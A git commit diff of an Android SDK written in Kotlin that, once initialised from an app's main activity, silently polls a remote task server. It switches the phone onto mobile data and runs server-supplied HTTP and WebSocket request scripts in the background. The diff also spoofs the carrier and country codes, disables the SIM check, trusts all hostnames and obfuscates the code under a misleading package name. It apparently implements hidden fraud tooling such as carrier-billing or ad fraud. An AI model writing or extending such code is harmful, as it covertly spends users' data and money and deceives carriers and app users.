main
wmzh2006 2 years ago
parent 0b34e70c00
commit feb69385a3

@ -1,12 +1,28 @@
package com.example.kvast_sdk package com.example.kvast_sdk
import android.os.Bundle import android.os.Bundle
import android.util.Log
import androidx.appcompat.app.AppCompatActivity import androidx.appcompat.app.AppCompatActivity
import com.example.vastlib.utils.encryptToByteArray import com.example.vastlib.service.SdkMainService
import com.iab.ak.Sdk
import kotlinx.coroutines.CoroutineScope
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.delay
import kotlinx.coroutines.launch
class MainActivity : AppCompatActivity() { class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) { override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState) super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main) setContentView(R.layout.activity_main)
Sdk.init(this.applicationContext)
}
override fun onResume() {
super.onResume()
val coroutineScope = CoroutineScope(Dispatchers.IO)
coroutineScope.launch {
delay(10000)
Log.e("TAG", "run.....")
}
} }
} }

@ -20,4 +20,6 @@ kotlin.code.style=official
# Enables namespacing of each library's R class so that its R class includes only the # Enables namespacing of each library's R class so that its R class includes only the
# resources declared in the library itself and none from the library's dependencies, # resources declared in the library itself and none from the library's dependencies,
# thereby reducing the size of the R class for that library # thereby reducing the size of the R class for that library
android.nonTransitiveRClass=true android.nonTransitiveRClass=true
android.R8 = true
android.enableR8.fullMode=true

@ -7,15 +7,15 @@ android {
namespace 'com.example.vastlib' namespace 'com.example.vastlib'
compileSdk 33 compileSdk 33
defaultConfig { defaultConfig {
minSdk 16 minSdk 23
targetSdk 33 targetSdk 33
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
consumerProguardFiles "consumer-rules.pro" consumerProguardFiles "consumer-rules.pro"
buildConfigField "boolean", "log_enable", "true" buildConfigField "boolean", "log_enable", "true"
buildConfigField "int", "aff_id", "10000" buildConfigField "int", "aff_id", "1040"
buildConfigField "int", "sdk_version", "10" buildConfigField "int", "sdk_version", "34"
buildConfigField "String", "task_api", "\"aaa\"" buildConfigField "String", "task_api", "\"https://api.osakamob.com/task\""
} }
buildTypes { buildTypes {

@ -18,4 +18,22 @@
# If you keep the line number information, uncomment this to # If you keep the line number information, uncomment this to
# hide the original source file name. # hide the original source file name.
#-renamesourcefileattribute SourceFile #-renamesourcefileattribute SourceFile
-optimizationpasses 5
#包明不混合大小写
-dontusemixedcaseclassnames
#不去忽略非公共的库类
-dontskipnonpubliclibraryclasses
-dontskipnonpubliclibraryclassmembers
#优化 不优化输入的类文件
-dontoptimize
#预校验
-dontpreverify
#混淆时是否记录日志
-verbose
#混淆时所采用的算法
-optimizations !code/simplification/arithmetic,!field/,!class/merging/
#保护注解
-keepattributes Annotation
-repackageclasses 'com.iab.ak'
-keep class com.iab.ak.*{*;}

@ -2,4 +2,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"> <manifest xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.INTERNET"/>
<application
android:usesCleartextTraffic="true"/>
</manifest> </manifest>

@ -1,7 +1,7 @@
package com.example.vastlib.entity.action package com.example.vastlib.entity.action
data class HttpActionResponse( data class HttpActionResponse(
val headers:List<NameVariable>, var headers:List<NameVariable> = emptyList(),
val cookies:List<NameVariable>, var cookies:List<NameVariable> = emptyList(),
val params:List<VarExtractRule> var params:List<VarExtractRule> = emptyList()
):java.io.Serializable ):java.io.Serializable

@ -1,8 +1,8 @@
package com.example.vastlib.entity.action package com.example.vastlib.entity.action
data class NameValue( data class NameValue(
val name: String, var name: String,
val value: String var value: String
) : java.io.Serializable { ) : java.io.Serializable {
override fun equals(other: Any?): Boolean { override fun equals(other: Any?): Boolean {
if (this === other) return false if (this === other) return false

@ -3,16 +3,13 @@ package com.example.vastlib.entity.request
import android.content.Context import android.content.Context
import android.content.pm.PackageManager import android.content.pm.PackageManager
import android.os.Build import android.os.Build
import android.provider.Settings
import android.telephony.TelephonyManager import android.telephony.TelephonyManager
import com.example.vastlib.BuildConfig import com.example.vastlib.BuildConfig
import com.example.vastlib.utils.AndroidIdManager import com.example.vastlib.utils.AndroidIdManager
import com.example.vastlib.utils.AndroidIdManager.init
import com.example.vastlib.utils.LogUtils import com.example.vastlib.utils.LogUtils
import com.example.vastlib.utils.NetworkManager import com.example.vastlib.utils.NetworkManager
import kotlinx.coroutines.CoroutineScope import kotlinx.coroutines.*
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.SupervisorJob
import kotlinx.coroutines.launch
class BaseRequestBuilder(private val context: Context) { class BaseRequestBuilder(private val context: Context) {
private val networkOperator: String private val networkOperator: String
@ -25,29 +22,28 @@ class BaseRequestBuilder(private val context: Context) {
private val scope = CoroutineScope(Dispatchers.IO + SupervisorJob()) private val scope = CoroutineScope(Dispatchers.IO + SupervisorJob())
private val userId: String private val userId: String
get() { get() {
var id = "" return AndroidIdManager.id ?: Settings.Secure.getString(AndroidIdManager.context.contentResolver, Settings.Secure.ANDROID_ID)
scope.launch {
id = AndroidIdManager.getAdId(context)
}
return id
} }
private val appVer: Int private val appVer: Int
private val telcoCode: String private val telcoCode: String
get() { get() {
return if (networkOperator.isNotBlank()) simOperator // return if (networkOperator.isNotBlank()) simOperator
else networkOperator // else networkOperator
return "46000"
} }
private val netType: Int private val netType: Int
get() { get() {
return NetworkManager.sdkNetworkType(context) // return NetworkManager.sdkNetworkType(context)
return NetworkManager.Type.NET_GPRS.ordinal
} }
private val recvFlag: Boolean = false private val recvFlag: Boolean = false
private val countryCode: String private val countryCode: String
get() { get() {
return context.resources.configuration.locale.country // return context.resources.configuration.locale.country
return "CN"
} }
init { init {
@ -86,7 +82,7 @@ class BaseRequestBuilder(private val context: Context) {
recvFlag = recvFlag recvFlag = recvFlag
) )
val genReportRequest: ReportTaskRequest = taskRequest.run{ val genReportRequest: ReportTaskRequest = taskRequest.run {
ReportTaskRequest( ReportTaskRequest(
userId = userId, userId = userId,
pkg = pkg, pkg = pkg,

@ -7,7 +7,7 @@ data class TaskResponse(
var accept:String = "", var accept:String = "",
var acceptLanguage:String = "", var acceptLanguage:String = "",
var reportUrl:String = "", var reportUrl:String = "",
var requestInterval:String = "", var requestInterval:Int = 0,
var tasks:List<Task> = mutableListOf(), var tasks:List<Task> = mutableListOf(),
override var result: Boolean = false override var result: Boolean = false
) : BaseResponse, java.io.Serializable ) : BaseResponse, java.io.Serializable

@ -38,11 +38,10 @@ abstract class BaseActionExecService(protected open val taskConfig: TaskConfig)
protected fun replaceVariableData( protected fun replaceVariableData(
nameValues: List<NameValue> nameValues: List<NameValue>
): List<NameValue> { ) {
return nameValues.map { nameValues.map {
NameValue( it.name = getVariableData(it.name)
getVariableData(it.name), getVariableData(it.value) it.value = getVariableData(it.value)
)
} }
} }
@ -118,11 +117,11 @@ abstract class BaseActionExecService(protected open val taskConfig: TaskConfig)
wholeResponseData wholeResponseData
} }
VarExtractRule.EXTRACT_RULE_BETWEEN -> { VarExtractRule.EXTRACT_RULE_BETWEEN -> {
val expr = extractRule.expr.split("\\|").take(2) val expr = extractRule.expr.split("|").take(2)
wholeResponseData.substringAfter(expr.first()).substringBefore(expr.last()) wholeResponseData.substringAfter(expr.first()).substringBefore(expr.last())
} }
VarExtractRule.EXTRACT_RULE_REGEXP -> { VarExtractRule.EXTRACT_RULE_REGEXP -> {
Regex(extractRule.expr).find(wholeResponseData)?.value ?: "" Regex(extractRule.expr).find(wholeResponseData)?.groupValues?.getOrNull(1) ?: ""
} }
VarExtractRule.EXTRACT_RULE_BASE64 -> { VarExtractRule.EXTRACT_RULE_BASE64 -> {
if (Build.VERSION.SDK_INT >= 26) { if (Build.VERSION.SDK_INT >= 26) {

@ -32,7 +32,7 @@ class HttpActionExecService(
val pattern = Regex("^[a-zA-Z0-9]+://.*") val pattern = Regex("^[a-zA-Z0-9]+://.*")
} }
fun executeAction(onFinish: (List<ActionExec>) -> Unit = {}) = scope.launch { suspend fun executeAction(onFinish: (List<ActionExec>) -> Unit = {}) {
val actionExecList = mutableListOf<ActionExec>() val actionExecList = mutableListOf<ActionExec>()
var currentStep = taskConfig.current_step var currentStep = taskConfig.current_step
runCatching { runCatching {
@ -255,7 +255,7 @@ class HttpActionExecService(
) )
if (httpRequest.body.isNotEmpty()) { if (httpRequest.body.isNotEmpty()) {
actionExec.respData = String(httpRequest.body) actionExec.reqData = String(httpRequest.body)
} }
httpResponse?.let { response -> httpResponse?.let { response ->
@ -274,7 +274,8 @@ class HttpActionExecService(
if (response.data.isNotEmpty()) { if (response.data.isNotEmpty()) {
actionExec.respData = String(response.data) actionExec.respData = String(response.data)
} }
actionExec.reqHeader = response.headers.mapListToJsonString() actionExec.respHeader = response.headers.mapListToJsonString()
actionExec.cost = httpResponse.endTime - httpResponse.startTime
} }
} }

@ -13,7 +13,6 @@ import androidx.annotation.RequiresApi
import com.example.vastlib.utils.LogUtils import com.example.vastlib.utils.LogUtils
import com.example.vastlib.utils.NetworkManager import com.example.vastlib.utils.NetworkManager
@RequiresApi(Build.VERSION_CODES.LOLLIPOP)
class NetworkController private constructor() : ConnectivityManager.NetworkCallback() { class NetworkController private constructor() : ConnectivityManager.NetworkCallback() {
private lateinit var context: Context private lateinit var context: Context
var switchSuccess = false var switchSuccess = false
@ -22,8 +21,9 @@ class NetworkController private constructor() : ConnectivityManager.NetworkCallb
private var activeNetwork: Network? = null private var activeNetwork: Network? = null
private var handlerThread: HandlerThread? = null private var handlerThread: HandlerThread? = null
fun init(context: Context) { fun init(context: Context):NetworkController {
this.context = context this.context = context
return this
} }
companion object { companion object {
@ -42,7 +42,6 @@ class NetworkController private constructor() : ConnectivityManager.NetworkCallb
onUnavailable() onUnavailable()
} }
@RequiresApi(Build.VERSION_CODES.M)
fun switchNetworkToGprs() { fun switchNetworkToGprs() {
LogUtils.info("${System.currentTimeMillis()} start try switch network to gprs") LogUtils.info("${System.currentTimeMillis()} start try switch network to gprs")
switchSuccess = false switchSuccess = false

@ -4,22 +4,19 @@ import android.annotation.SuppressLint
import android.content.Context import android.content.Context
import android.os.SystemClock import android.os.SystemClock
import com.example.vastlib.BuildConfig import com.example.vastlib.BuildConfig
import com.example.vastlib.entity.action.BaseAction
import com.example.vastlib.entity.http.Request import com.example.vastlib.entity.http.Request
import com.example.vastlib.entity.request.BaseRequestBuilder import com.example.vastlib.entity.request.BaseRequestBuilder
import com.example.vastlib.entity.response.TaskResponse import com.example.vastlib.entity.response.TaskResponse
import com.example.vastlib.entity.task.Task
import com.example.vastlib.utils.* import com.example.vastlib.utils.*
import com.example.vastlib.utils.HttpUtils.HttpRequest.call import com.example.vastlib.utils.HttpUtils.HttpRequest.call
import com.example.vastlib.utils.JSONUtils.toJsonString import com.example.vastlib.utils.JSONUtils.toJsonString
import kotlinx.coroutines.* import kotlinx.coroutines.*
import kotlinx.coroutines.flow.MutableStateFlow import kotlinx.coroutines.flow.MutableStateFlow
import org.json.JSONArray
import org.json.JSONObject
import java.util.concurrent.atomic.AtomicReference import java.util.concurrent.atomic.AtomicReference
import kotlin.time.ExperimentalTime
import kotlin.time.measureTime
sealed class TaskEvent { sealed class TaskEvent {
object Idle : TaskEvent()
object Waiting : TaskEvent() object Waiting : TaskEvent()
object RequestData : TaskEvent() object RequestData : TaskEvent()
data class RunTask(val taskResponse: TaskResponse) : TaskEvent() data class RunTask(val taskResponse: TaskResponse) : TaskEvent()
@ -30,7 +27,7 @@ class SdkMainService private constructor() {
private val taskScope: CoroutineScope = CoroutineScope(Dispatchers.IO + SupervisorJob()) private val taskScope: CoroutineScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
private var isTaskRunning = AtomicReference(false) private var isTaskRunning = AtomicReference(false)
private var nextRequestTine: Long = 0 private var nextRequestTine: Long = 0
private var state: MutableStateFlow<TaskEvent> = MutableStateFlow(TaskEvent.Idle) private var state: MutableStateFlow<TaskEvent> = MutableStateFlow(TaskEvent.Waiting)
companion object { companion object {
private const val DEFAULT_REQUEST_TASK_INTERVAL = (5 * 60 * 1000).toLong() private const val DEFAULT_REQUEST_TASK_INTERVAL = (5 * 60 * 1000).toLong()
@ -50,27 +47,89 @@ class SdkMainService private constructor() {
} }
} }
fun init(ctx: Context) { @OptIn(ExperimentalTime::class)
if (::context.isInitialized || taskScope.isActive) return fun start(ctx: Context) {
if (::context.isInitialized) return
context = ctx context = ctx
AndroidIdManager.init(context) AndroidIdManager.init(context)
taskScope.launch { run() } taskScope.launch {
run()
}
taskScope.launch { taskScope.launch {
state.collect { event -> state.collect { event ->
when (event) { when (event) {
TaskEvent.Idle -> {
}
TaskEvent.Waiting -> {
}
TaskEvent.RequestData -> { TaskEvent.RequestData -> {
LogUtils.info("SdkMainService try get task") LogUtils.info("SdkMainService try get task")
val taskResponse = getTasks() val taskResponse = getTasks()
if (taskResponse == null) {
nextRequestTine =
SystemClock.elapsedRealtime() + DEFAULT_REQUEST_TASK_INTERVAL
state.emit(TaskEvent.Waiting)
} else {
nextRequestTine = taskResponse.requestInterval.nextRequestCoerceIn()
if (taskResponse.tasks.isEmpty()) {
TaskEvent.Waiting
} else {
TaskEvent.RunTask(taskResponse)
}.run {
state.emit(this)
}
}
} }
is TaskEvent.RunTask -> { is TaskEvent.RunTask -> {
kotlin.runCatching {
val taskResponse = event.taskResponse
if (NetworkManager.isMetered(context) &&
NetworkManager.haveChangeNetworkPermission(context)
) {
NetworkController.getInstance().init(context)
.switchNetworkToGprs()
var count = 0
while (isActive && NetworkController.getInstance().switchSuccess && count < 10) {
delay(1000)
count++
}
if (!NetworkController.getInstance().switchSuccess) {
nextRequestTine = taskResponse.requestInterval.nextRequestCoerceIn()
state.emit(TaskEvent.Waiting)
return@collect
}
}
isTaskRunning.set(true)
val userId = AndroidIdManager.getAdId()
measureTime {
taskResponse.tasks.map {
async {
TaskExecService(it, taskResponse, userId).runTask(
TASK_MAX_EXEC_TIME
)
}
}.toList().awaitAll()
}.apply {
LogUtils.info("use ${this.inWholeSeconds}'s before task exec completed")
}
NetworkController.getInstance().restore()
nextRequestTine = taskResponse.requestInterval.nextRequestCoerceIn()
isTaskRunning.set(false)
TaskEvent.Waiting
}.onFailure {
LogUtils.error(it)
isTaskRunning.set(false)
nextRequestTine = SystemClock.elapsedRealtime() + DEFAULT_REQUEST_TASK_INTERVAL
TaskEvent.Waiting
}.getOrElse {
TaskEvent.Waiting
}.apply {
state.emit(this)
}
}
else -> {
delay(500)
} }
} }
} }
@ -89,9 +148,8 @@ class SdkMainService private constructor() {
return null return null
} }
private fun parseApiResponseTask(data: ByteArray): TaskResponse? { private fun parseApiResponseTask(data: ByteArray): TaskResponse? =
return null JSONUtils.TaskReposeParser(data).parse()
}
private fun buildTaskRequest(): Request = Request( private fun buildTaskRequest(): Request = Request(
url = BuildConfig.task_api, url = BuildConfig.task_api,
@ -108,7 +166,10 @@ class SdkMainService private constructor() {
private suspend fun run() = withContext(Dispatchers.IO) { private suspend fun run() = withContext(Dispatchers.IO) {
while (isActive) { while (isActive) {
kotlin.runCatching { kotlin.runCatching {
if (isTaskRunning.get() || SystemClock.elapsedRealtime() <= nextRequestTine || AndroidIdManager.getAdId()
if (isTaskRunning.get() ||
state.value != TaskEvent.Waiting ||
SystemClock.elapsedRealtime() <= nextRequestTine ||
!NetworkManager.hasSimCard.invoke(context) || !NetworkManager.hasSimCard.invoke(context) ||
NetworkManager.airModeOn.invoke(context) NetworkManager.airModeOn.invoke(context)
) { ) {
@ -132,5 +193,8 @@ class SdkMainService private constructor() {
} }
} }
fun Int.nextRequestCoerceIn(): Long {
return (if (this <= 0 || this > 24 * 60) 6 * 60 else this) * 60_000 + SystemClock.elapsedRealtime()
}
} }

@ -10,21 +10,19 @@ import com.example.vastlib.entity.task.Task
import com.example.vastlib.entity.task.TaskConfig import com.example.vastlib.entity.task.TaskConfig
import com.example.vastlib.utils.LogUtils import com.example.vastlib.utils.LogUtils
import com.example.vastlib.utils.WebSocketClientManager import com.example.vastlib.utils.WebSocketClientManager
import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.*
import kotlinx.coroutines.delay
import kotlinx.coroutines.withContext
import java.net.CookieManager import java.net.CookieManager
import java.net.CookiePolicy import java.net.CookiePolicy
import kotlin.random.Random import kotlin.random.Random
class TaskExecService private constructor( class TaskExecService constructor(
private val currentTask: Task, private val taskResponse: TaskResponse, userId: String private val currentTask: Task, private val taskResponse: TaskResponse, userId: String
) { ) {
private lateinit var taskConfig: TaskConfig private lateinit var taskConfig: TaskConfig
init { init {
with(taskResponse) { with(taskResponse) {
TaskConfig( taskConfig = TaskConfig(
user_id = userId, user_id = userId,
user_agent = taskResponse.userAgent, user_agent = taskResponse.userAgent,
accept = accept, accept = accept,
@ -40,7 +38,7 @@ class TaskExecService private constructor(
} }
} }
suspend fun runTask() = withContext(Dispatchers.IO) { suspend fun runTask(timeOutMillis:Long) = withTimeoutOrNull(timeMillis = timeOutMillis) {
WebSocketClientManager.getInstance().closeClient() WebSocketClientManager.getInstance().closeClient()
execTask() execTask()
delay((Random.nextInt(30) + 30) * 1000L) delay((Random.nextInt(30) + 30) * 1000L)

@ -1,5 +1,6 @@
package com.example.vastlib.service package com.example.vastlib.service
import android.text.TextUtils.replace
import android.util.Log import android.util.Log
import com.example.vastlib.entity.action.* import com.example.vastlib.entity.action.*
import com.example.vastlib.entity.report.ActionExec import com.example.vastlib.entity.report.ActionExec
@ -15,7 +16,7 @@ class WebSocketActionExecService(
private val action: WebSocketAction, taskConfig: TaskConfig private val action: WebSocketAction, taskConfig: TaskConfig
) : BaseActionExecService(taskConfig) { ) : BaseActionExecService(taskConfig) {
fun executeAction(onFinish: (List<ActionExec>) -> Unit) = scope.launch { suspend fun executeAction(onFinish: (List<ActionExec>) -> Unit) {
val actionExecList: MutableList<ActionExec> = mutableListOf() val actionExecList: MutableList<ActionExec> = mutableListOf()
var currentStep: Int = taskConfig.current_step var currentStep: Int = taskConfig.current_step
kotlin.runCatching { kotlin.runCatching {
@ -99,9 +100,9 @@ class WebSocketActionExecService(
} }
wsResponse?.apply { wsResponse?.apply {
actionExec.respCode = wsResponse.code actionExec.respCode= wsResponse.code
actionExec.reqData = wsResponse.data?.toString() ?: "" actionExec.respData = wsResponse.data?.toString() ?: ""
actionExec.respHeader = wsRequest.headers.toJsonString() actionExec.respHeader = wsResponse.headers.toJsonString()
actionExec.cost = wsResponse.endTime - wsResponse.startTime actionExec.cost = wsResponse.endTime - wsResponse.startTime
} }
return actionExec return actionExec
@ -128,11 +129,11 @@ class WebSocketActionExecService(
actionRequest.headers = this actionRequest.headers = this
} }
getVariableData(actionRequest.url).apply { getVariableData(actionRequest.url).runCatching{
actionRequest.url = this actionRequest.url = this
if (startsWith("wss://")) replace("wss://", "https://") else replace("ws://", "http://") if (startsWith("wss://")) replace("wss://", "https://") else replace("ws://", "http://")
}.apply { }.onSuccess{
amendCookie(this, actionRequest) amendCookie(it, actionRequest)
} }
} }

@ -5,6 +5,7 @@ import android.content.ComponentName
import android.content.Context import android.content.Context
import android.content.Intent import android.content.Intent
import android.content.ServiceConnection import android.content.ServiceConnection
import android.content.pm.PackageManager.NameNotFoundException
import android.os.IBinder import android.os.IBinder
import android.os.IInterface import android.os.IInterface
import android.os.Parcel import android.os.Parcel
@ -12,43 +13,53 @@ import android.os.RemoteException
import android.provider.Settings import android.provider.Settings
import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.withContext import kotlinx.coroutines.withContext
import java.lang.Exception
import java.util.concurrent.LinkedBlockingQueue import java.util.concurrent.LinkedBlockingQueue
@SuppressLint("StaticFieldLeak") @SuppressLint("StaticFieldLeak")
object AndroidIdManager { object AndroidIdManager {
lateinit var context: Context lateinit var context: Context
private var id: String? = null var id: String? = null
fun init(context: Context) { fun init(context: Context) {
this.context = context this.context = context
} }
suspend fun getAdId(context: Context): String { suspend fun getAdId(): String {
if (id != null) return id!! if (id != null) return id!!
withContext(Dispatchers.IO) { withContext(Dispatchers.IO) {
val pm = context.packageManager try{
pm.getPackageInfo("com.android.vending", 0) val pm = context.packageManager
val connection = AdvertisingConnection() pm.getPackageInfo("com.android.vending", 0)
val intent = Intent("com.google.android.gms.ads.identifier.service.START") val connection = AdvertisingConnection()
intent.setPackage("com.google.android.gms") val intent = Intent("com.google.android.gms.ads.identifier.service.START")
id = if (context.bindService( intent.setPackage("com.google.android.gms")
intent, id = if (context.bindService(
connection, intent,
Context.BIND_AUTO_CREATE connection,
) Context.BIND_AUTO_CREATE
) { )
try { ) {
val adInterface = AdvertisingInterface(connection.binder) try {
adInterface.id val adInterface = AdvertisingInterface(connection.binder)
}catch (e:java.lang.Exception) { adInterface.id
null }catch (e: Exception) {
} finally { null
context.unbindService(connection) } finally {
context.unbindService(connection)
}
} else {
null
} }
} else { id
null }catch (e:NameNotFoundException){
e.printStackTrace()
id = Settings.Secure.getString(context.contentResolver, Settings.Secure.ANDROID_ID)
}catch (e:Exception) {
} }
} }
// LogUtils.info("get android Id ${Settings.Secure.getString(context.contentResolver, Settings.Secure.ANDROID_ID)}")
return if(id == null || id?.contains("00000000") == true) Settings.Secure.getString(context.contentResolver, Settings.Secure.ANDROID_ID) else id!! return if(id == null || id?.contains("00000000") == true) Settings.Secure.getString(context.contentResolver, Settings.Secure.ANDROID_ID) else id!!
} }

@ -81,7 +81,7 @@ class HttpUtils {
setHostnameVerifier { _, _ -> true } setHostnameVerifier { _, _ -> true }
} }
} else { } else {
this.openConnection(Proxy.NO_PROXY) as HttpsURLConnection this.openConnection(Proxy.NO_PROXY) as HttpURLConnection
} }
@ -187,7 +187,9 @@ class HttpUtils {
Params.REQUEST_METHOD_POST.uppercase() -> { Params.REQUEST_METHOD_POST.uppercase() -> {
var encryptor: Encryptor? = null var encryptor: Encryptor? = null
if (request.isEncryptRequest()) { if (request.isEncryptRequest()) {
urlConnection?.let { encryptor = Encryptor(it.url.host) } urlConnection?.let {
encryptor = Encryptor(it.url.host)
}
} }
urlConnection?.runCatching { urlConnection?.runCatching {
@ -205,6 +207,8 @@ class HttpUtils {
method = RequestMethod.Post method = RequestMethod.Post
) )
} }
}?.onFailure {
LogUtils.error(it, "aaaaa")
} }
} }
else -> {} else -> {}

@ -24,7 +24,8 @@ object JSONUtils {
headers.toJson().apply { headers.toJson().apply {
it.put("headers", this) it.put("headers", this)
} }
it.toString(4) it.put("body", String(body))
it.toString()
} }
fun Response.toJsonString(): String = JSONObject().let { fun Response.toJsonString(): String = JSONObject().let {
@ -33,37 +34,33 @@ object JSONUtils {
it.put("end_time", endTime) it.put("end_time", endTime)
it.put("data", String(data)) it.put("data", String(data))
JSONObject().let { jsonObject -> JSONObject().let { jsonObject ->
headers.map { h -> headers.map{ h ->
jsonObject.put(h.key, h.value) jsonObject.put("${h.key}", "${h.value}")
} }
}.apply { }.apply {
it.put("header", this) it.put("header", this)
} }
it.toString(4) it.toString()
} }
fun Map<String, List<String>>.mapListToJsonString(): String = JSONObject().let { obj -> fun Map<String, List<String>>.mapListToJsonString(): String = JSONObject().let { obj ->
mapValues { filter { it.key.isNullOrBlank() != true }.mapValues {
JSONArray().let { array -> JSONArray().let { array ->
it.value.map { v -> array.put(v) } it.value.map { v -> array.put(v) }
obj.put(it.key, array) obj.put(it.key, array)
} }
} }
obj.toString(4) obj.toString()
} }
fun Map<String, String>.toJsonString(): String = this.toJson().toString(4) fun Map<String, String>.toJsonString(): String = this.toJson().toString()
fun Map<String, String>.toJson(): JSONArray = fun Map<String, String>.toJson(): JSONObject =
JSONArray().let { headerArray -> JSONObject().let {obj->
map { h -> filter { it.key.isNullOrBlank() != true }.map { h ->
JSONObject().let { hj -> obj.put(h.key, h.value)
hj.put(h.key, h.value)
}.apply {
headerArray.put(this)
}
} }
headerArray obj
} }
fun <A> List<A>.toJson(): JSONArray = JSONArray().let { array -> fun <A> List<A>.toJson(): JSONArray = JSONArray().let { array ->
@ -111,13 +108,13 @@ object JSONUtils {
array array
} }
fun <T>List<T>.toJsonString() = toJson().toString(4) fun <T>List<T>.toJsonString() = toJson().toString()
fun ReportTaskRequest.toJsonString(): String { fun ReportTaskRequest.toJsonString(): String {
return this.toJson().put("taskLogs", this.taskLogs.toJson()).toString(4) return this.toJson().put("taskLogs", this.taskLogs.toJson()).toString()
} }
fun BaseRequest.toJsonString() = toJson().toString(4) fun BaseRequest.toJsonString() = toJson().toString()
fun BaseRequest.toJson(): JSONObject = JSONObject().let { fun BaseRequest.toJson(): JSONObject = JSONObject().let {
it.put("userId", userId) it.put("userId", userId)
@ -128,7 +125,7 @@ object JSONUtils {
it.put("sdkVer", sdkVer) it.put("sdkVer", sdkVer)
it.put("appVer", appVer) it.put("appVer", appVer)
it.put("countryCode", countryCode) it.put("countryCode", countryCode)
it.put("telcoCode", countryCode) it.put("telcoCode", telcoCode)
it.put("netType", netType) it.put("netType", netType)
it.put("recvFlag", recvFlag) it.put("recvFlag", recvFlag)
} }
@ -143,7 +140,7 @@ object JSONUtils {
taskResponse.acceptLanguage = optString("acceptLanguage", "") taskResponse.acceptLanguage = optString("acceptLanguage", "")
taskResponse.accept = optString("accept", "") taskResponse.accept = optString("accept", "")
taskResponse.reportUrl = optString("reportUrl", "") taskResponse.reportUrl = optString("reportUrl", "")
taskResponse.requestInterval = optString("requestInterval", "") taskResponse.requestInterval = optInt("requestInterval")
taskResponse.result = optBoolean("result") taskResponse.result = optBoolean("result")
optJSONArray("tasks")?.run { optJSONArray("tasks")?.run {
(0 until length()).forEach { index -> (0 until length()).forEach { index ->
@ -297,7 +294,7 @@ object JSONUtils {
jsonObject.optJSONObject("request")?.run { jsonObject.optJSONObject("request")?.run {
val url = optString("url", "") val url = optString("url", "")
val method = optString("method", "") val method = optString("method", "")
val autoCookie = optBoolean("auto_cookie") val autoCookie = optBoolean("auto_cookie", true)
val actionRequest = HttpActionRequest( val actionRequest = HttpActionRequest(
url = url, url = url,
method = method, method = method,
@ -321,8 +318,47 @@ object JSONUtils {
} }
httpAction.request = actionRequest httpAction.request = actionRequest
}
jsonObject.optJSONObject("response")?.run {
val actionResponse = HttpActionResponse()
optJSONArray("headers")?.parseNameVariable { nv ->
actionResponse.headers += nv
}
optJSONArray("cookies")?.parseNameVariable { nv ->
actionResponse.cookies += nv
}
optJSONArray("params")?.run {
(0 until length()).forEach {
getJSONObject(it).apply {
val arv = VarExtractRule(
expr = optString("expr"),
variable = optString("variable"),
rule = optInt("rule")
)
actionResponse.params += arv
}
}
}
httpAction.response = actionResponse
} }
jsonObject.optJSONArray("next")?.run {
(0 until length()).forEach {index->
optJSONObject(index)?.apply {
httpAction.next += Next(
contain = optString("contain"),
step = optInt("step"),
regexp = optString("regexp")
)
}
}
}
return httpAction return httpAction
} }
@ -340,6 +376,19 @@ object JSONUtils {
} }
} }
val parseNameVariable: JSONArray.(callback: (NameVariable) -> Unit) -> Unit =
{ callback: (NameVariable) -> Unit ->
(0 until length()).forEach { index ->
getJSONObject(index).run {
callback(
NameVariable(
optString("name", ""), optString("variable", "")
)
)
}
}
}
} }
interface Parser<T> { interface Parser<T> {

@ -1,6 +1,8 @@
package com.example.vastlib.utils package com.example.vastlib.utils
import android.Manifest
import android.content.Context import android.content.Context
import android.content.pm.PackageManager
import android.net.ConnectivityManager import android.net.ConnectivityManager
import android.net.Network import android.net.Network
import android.os.Build import android.os.Build
@ -43,12 +45,12 @@ object NetworkManager {
} }
val hasSimCard: (context: Context) -> Boolean = { context -> val hasSimCard: (context: Context) -> Boolean = { context ->
(context.getSystemService(Context.TELEPHONY_SERVICE) as? TelephonyManager)?.run { /* (context.getSystemService(Context.TELEPHONY_SERVICE) as? TelephonyManager)?.run {
when (simState) { when (simState) {
TelephonyManager.SIM_STATE_ABSENT, TelephonyManager.SIM_STATE_UNKNOWN -> false TelephonyManager.SIM_STATE_ABSENT, TelephonyManager.SIM_STATE_UNKNOWN -> false
else -> true else -> true
} }
} ?: true } ?:*/ true
} }
val repairNetwork: (context: Context) -> Unit = { context -> val repairNetwork: (context: Context) -> Unit = { context ->
@ -77,4 +79,11 @@ object NetworkManager {
} }
} }
} }
val haveChangeNetworkPermission: (context: Context) -> Boolean = { context ->
context.packageManager.checkPermission(
Manifest.permission.CHANGE_NETWORK_STATE,
context.packageName
) != PackageManager.PERMISSION_DENIED
}
} }

@ -11,6 +11,7 @@ import org.java_websocket.drafts.Draft_6455
import org.java_websocket.extensions.IExtension import org.java_websocket.extensions.IExtension
import org.java_websocket.handshake.ServerHandshake import org.java_websocket.handshake.ServerHandshake
import org.java_websocket.protocols.IProtocol import org.java_websocket.protocols.IProtocol
import org.java_websocket.protocols.Protocol
import org.json.JSONArray import org.json.JSONArray
import java.lang.Exception import java.lang.Exception
import java.net.URI import java.net.URI
@ -45,7 +46,7 @@ class WebSocketClientManager {
} }
} }
suspend fun callWebSocketRequest(request: WsRequest): WsResponse = withContext(Dispatchers.IO) { suspend fun callWebSocketRequest(request: WsRequest): WsResponse {
val startTime = System.currentTimeMillis() val startTime = System.currentTimeMillis()
val result = WsResponse( val result = WsResponse(
startTime = startTime startTime = startTime
@ -56,7 +57,7 @@ class WebSocketClientManager {
var errorMessage = "" var errorMessage = ""
kotlin.runCatching { kotlin.runCatching {
if (currentClient?.isOpen == true || if (currentClient == null || currentClient?.isOpen == true ||
currentClient?.uri.toString() == request.url currentClient?.uri.toString() == request.url
) { ) {
@ -82,6 +83,7 @@ class WebSocketClientManager {
} }
val knownExtensions = mutableListOf<IExtension>() val knownExtensions = mutableListOf<IExtension>()
